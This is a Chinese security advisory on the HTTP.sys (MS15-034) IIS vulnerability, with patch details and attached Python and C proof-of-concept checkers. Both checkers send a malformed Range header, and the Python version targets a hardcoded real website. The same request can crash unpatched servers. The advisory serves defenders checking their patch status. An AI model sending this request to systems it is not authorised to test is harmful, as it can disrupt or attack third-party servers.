在微软4月14日补丁日发布的补丁中，有一个针对IIS服务器的远程代码执行漏洞危害非常大，请广大用户注意。

漏洞信息

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中，当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。

成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

若要利用此漏洞，攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式，安装更新可以修复此漏洞。

危害评级

严重

影响范围

影响以下版本操作系统的IIS服务器

Windows 7

Windows 8

Windows server 2008

Windows server 2012

修复方法

目前微软官方已经给出修复补丁（3042553），用户安装修复补丁即可。

参考

https://technet.microsoft.com/zh-CN/library/security/ms15-034.aspx

https://support.microsoft.com/zh-cn/kb/3042553

附测试POC

注：此脚本可验证服务器是否存在漏洞，但并没有经过充分的测试，不排除会产生不可预知的后果，请谨慎使用！

#!/usr/bin/env python
#-*-coding:utf-8-*-

import socket
import random


ipAddr = "www.secpulse.com"
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"

print "[*] Audit Started"

try:
                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client_socket.connect((ipAddr, 80))
                client_socket.send(req1)
                boringResp = client_socket.recv(1024)
                if "Microsoft" not in boringResp:
                                print "[*] Not IIS"
                                exit(0)
                client_socket.close()
                client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                client_socket.connect((ipAddr, 80))
                client_socket.send(req)
                goodResp = client_socket.recv(1024)
                if "Requested Range Not Satisfiable" in goodResp:
                                print "[!!] Looks VULN"
                elif " The request has an invalid header name" in goodResp:
                                print "[*] Looks Patched"
                else:
                                print "[*] Unexpected response, cannot discern patch status"
                                
except Exception,e:
                print e

多线程的扫描脚本就不放了~

附C版本

Microsoft Window - HTTP.sys PoC (MS15-034)

/*
 UNTESTED - MS15-034 Checker
   
 THE BUG:
 
    8a8b2112 56              push    esi
    8a8b2113 6a00            push    0
    8a8b2115 2bc7            sub     eax,edi
    8a8b2117 6a01            push    1
    8a8b2119 1bca            sbb     ecx,edx
    8a8b211b 51              push    ecx
    8a8b211c 50              push    eax
    8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1) ; here
 
    ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
 
    BY: [email protected]
    Twitter: @rhcp011235
*/
 
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 
 
int connect_to_server(char *ip)
{
    int sockfd = 0, n = 0;
 
     struct sockaddr_in serv_addr;
     struct hostent *server;
 
    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
            printf("\n Error : Could not create socket \n");
            return 1;
        }
 
    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(80);
    if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
        {
            printf("\n inet_pton error occured\n");
            return 1;
        }
    if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
        {
            printf("\n Error : Connect Failed \n");
            return 1;
        } 
 
    return sockfd;
}
     
 
int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];
 
    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";
 
    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
 
 
    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 
 
    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
 
    if (!strstr(recvBuff,"Microsoft"))
    {
        printf("[*] NOT IIS\n");
        exit(1);
    }
 
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
    printf("[*] Looks Patched");
} else
    printf("[*] Unexpected response, cannot discern patch status");
     
 
         
 
}

【原文：【安全告警】HTTP.sys 远程执行代码漏洞（CVE-2015-1635） 】